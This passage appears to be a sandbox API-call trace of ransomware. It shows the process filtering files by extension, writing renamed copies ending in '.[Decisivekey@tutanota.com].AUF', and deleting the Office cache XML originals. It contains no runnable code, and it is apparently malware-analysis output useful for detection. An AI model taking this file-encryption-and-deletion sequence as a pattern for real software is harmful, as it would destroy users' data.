(lpString=".bz2") returned 4 [0204.267] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.267] lstrlenW (lpString=".7z") returned 3 [0204.267] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.267] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0204.267] lstrlenW (lpString=".dbf") returned 4 [0204.267] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.267] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0204.267] lstrlenW (lpString=".1cd") returned 4 [0204.267] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.267] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0204.267] lstrlenW (lpString=".jpg") returned 4 [0204.267] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.267] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0204.267] lstrlenW (lpString="Proof.xml") returned 9 [0204.267] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0204.268] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=1347) returned 1 [0204.268] CloseHandle (hObject=0x17c) returned 1 [0204.268] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 0x2020 [0204.268] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.268] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0204.268] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.268] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.268] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0204.268] GetLastError () returned 0x0 [0204.268] ReadFile (in: hFile=0x17c, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x543, lpOverlapped=0x0) returned 1 [0204.274] WriteFile (in: hFile=0x184, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x550, lpOverlapped=0x0) returned 1 [0204.274] ReadFile (in: hFile=0x17c, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0204.274] WriteFile (in: hFile=0x184, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0204.274] SetEndOfFile (hFile=0x184) returned 1 [0204.274] CloseHandle (hObject=0x184) returned 1 [0204.275] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.275] SetEndOfFile (hFile=0x17c) returned 1 [0204.276] CloseHandle (hObject=0x17c) returned 1 [0204.276] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0204.276] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 1 [0204.276] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0204.276] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0204.276] lstrlenW (lpString=".doc") returned 4 [0204.276] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.276] lstrlenW (lpString=".docx") returned 5 [0204.276] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0204.276] lstrlenW (lpString=".pdf") returned 4 [0204.276] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.276] lstrlenW (lpString=".xls") returned 4 [0204.276] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.276] lstrlenW (lpString=".xlsx") returned 5 [0204.276] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0204.276] lstrlenW (lpString=".ppt") returned 4 [0204.276] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.276] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0204.276] lstrlenW (lpString=".zip") returned 4 [0204.276] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.276] lstrlenW (lpString=".rar") returned 4 [0204.276] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.276] lstrlenW (lpString=".bz2") returned 4 [0204.276] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.276] lstrlenW (lpString=".7z") returned 3 [0204.276] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.276] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0204.276] lstrlenW (lpString=".dbf") returned 4 [0204.276] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.276] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0204.277] lstrlenW (lpString=".1cd") returned 4 [0204.277] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.277] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0204.277] lstrlenW (lpString=".jpg") returned 4 [0204.277] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.277] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0204.277] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0204.277] lstrlenW (lpString=".doc") returned 4 [0204.277] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.277] lstrlenW (lpString=".docx") returned 5 [0204.277] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0204.277] lstrlenW (lpString=".pdf") returned 4 [0204.277] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.277] lstrlenW (lpString=".xls") returned 4 [0204.277] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.277] lstrlenW (lpString=".xlsx") returned 5 [0204.277] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0204.277] lstrlenW (lpString=".ppt") returned 4 [0204.277] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.277] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0204.277] lstrlenW (lpString=".zip") returned 4 [0204.277] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.277] lstrlenW (lpString=".rar") returned 4 [0204.277] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.277] lstrlenW (lpString=".bz2") returned 4 [0204.277] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.277] lstrlenW (lpString=".7z") returned 3 [0204.277] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.277] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0204.277] lstrlenW (lpString=".dbf") returned 4 [0204.277] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.277] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0204.277] lstrlenW (lpString=".1cd") returned 4 [0204.277] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.277] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0204.277] lstrlenW (lpString=".jpg") returned 4 [0204.277] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.277] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0204.277] lstrlenW (lpString="Proof.xml") returned 9 [0204.277] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0204.278] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=1457) returned 1 [0204.278] CloseHandle (hObject=0x17c) returned 1 [0204.278] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 0x2020 [0204.278] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.278] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0204.278] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.278] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.278] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0204.278] GetLastError () returned 0x0 [0204.278] ReadFile (in: hFile=0x17c, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x5b1, lpOverlapped=0x0) returned 1 [0204.282] WriteFile (in: hFile=0x184, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0204.282] ReadFile (in: hFile=0x17c, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0204.282] WriteFile (in: hFile=0x184, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0204.282] SetEndOfFile (hFile=0x184) returned 1 [0204.282] CloseHandle (hObject=0x184) returned 1 [0204.283] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.283] SetEndOfFile (hFile=0x17c) returned 1 [0204.283] CloseHandle (hObject=0x17c) returned 1 [0204.284] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0204.284] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 1 [0204.284] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0204.284] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0204.284] lstrlenW (lpString=".doc") returned 4 [0204.284] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.284] lstrlenW (lpString=".docx") returned 5 [0204.284] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0204.284] lstrlenW (lpString=".pdf") returned 4 [0204.284] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.284] lstrlenW (lpString=".xls") returned 4 [0204.284] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.284] lstrlenW (lpString=".xlsx") returned 5 [0204.284] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0204.284] lstrlenW (lpString=".ppt") returned 4 [0204.284] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.284] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0204.284] lstrlenW (lpString=".zip") returned 4 [0204.284] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.284] lstrlenW (lpString=".rar") returned 4 [0204.284] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.284] lstrlenW (lpString=".bz2") returned 4 [0204.284] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.284] lstrlenW (lpString=".7z") returned 3 [0204.284] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.284] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0204.284] lstrlenW (lpString=".dbf") returned 4 [0204.284] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.284] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0204.284] lstrlenW (lpString=".1cd") returned 4 [0204.284] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.284] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0204.284] lstrlenW (lpString=".jpg") returned 4 [0204.284] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.285] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0204.285] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0204.285] lstrlenW (lpString=".doc") returned 4 [0204.285] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.285] lstrlenW (lpString=".docx") returned 5 [0204.285] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0204.285] lstrlenW (lpString=".pdf") returned 4 [0204.285] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.285] lstrlenW (lpString=".xls") returned 4 [0204.285] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.285] lstrlenW (lpString=".xlsx") returned 5 [0204.285] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0204.285] lstrlenW (lpString=".ppt") returned 4 [0204.285] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.285] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0204.285] lstrlenW (lpString=".zip") returned 4 [0204.285] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.285] lstrlenW (lpString=".rar") returned 4 [0204.285] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.285] lstrlenW (lpString=".bz2") returned 4 [0204.285] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.285] lstrlenW (lpString=".7z") returned 3 [0204.285] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.285] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0204.285] lstrlenW (lpString=".dbf") returned 4 [0204.285] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.285] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0204.285] lstrlenW (lpString=".1cd") returned 4 [0204.285] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.285] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0204.285] lstrlenW (lpString=".jpg") returned 4 [0204.285] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.285] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0204.285] lstrlenW (lpString="Proofing.xml") returned 12 [0204.285] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0204.285] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=811) returned 1 [0204.285] CloseHandle (hObject=0x17c) returned 1 [0204.286] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 0x2020 [0204.286] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.286] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0204.286] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.286] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.286] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0204.286] GetLastError () returned 0x0 [0204.286] ReadFile (in: hFile=0x17c, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x32b, lpOverlapped=0x0) returned 1 [0204.292] WriteFile (in: hFile=0x184, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x330, lpOverlapped=0x0) returned 1 [0204.293] ReadFile (in: hFile=0x17c, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0204.293] WriteFile (in: hFile=0x184, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0204.293] SetEndOfFile (hFile=0x184) returned 1 [0204.293] CloseHandle (hObject=0x184) returned 1 [0204.294] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.294] SetEndOfFile (hFile=0x17c) returned 1 [0204.294] CloseHandle (hObject=0x17c) returned 1 [0204.294] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0204.294] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 1 [0204.295] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0204.295] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0204.295] lstrlenW (lpString=".doc") returned 4 [0204.295] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.295] lstrlenW (lpString=".docx") returned 5 [0204.295] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0204.295] lstrlenW (lpString=".pdf") returned 4 [0204.295] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.295] lstrlenW (lpString=".xls") returned 4 [0204.295] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.295] lstrlenW (lpString=".xlsx") returned 5 [0204.295] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0204.295] lstrlenW (lpString=".ppt") returned 4 [0204.295] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.295] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0204.295] lstrlenW (lpString=".zip") returned 4 [0204.295] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.295] lstrlenW (lpString=".rar") returned 4 [0204.295] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.295] lstrlenW (lpString=".bz2") returned 4 [0204.295] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.295] lstrlenW (lpString=".7z") returned 3 [0204.295] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.295] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0204.295] lstrlenW (lpString=".dbf") returned 4 [0204.295] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.295] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0204.295] lstrlenW (lpString=".1cd") returned 4 [0204.295] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.295] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0204.295] lstrlenW (lpString=".jpg") returned 4 [0204.295] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.295] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0204.295] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0204.295] lstrlenW (lpString=".doc") returned 4 [0204.295] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.295] lstrlenW (lpString=".docx") returned 5 [0204.295] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0204.295] lstrlenW (lpString=".pdf") returned 4 [0204.295] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.295] lstrlenW (lpString=".xls") returned 4 [0204.296] 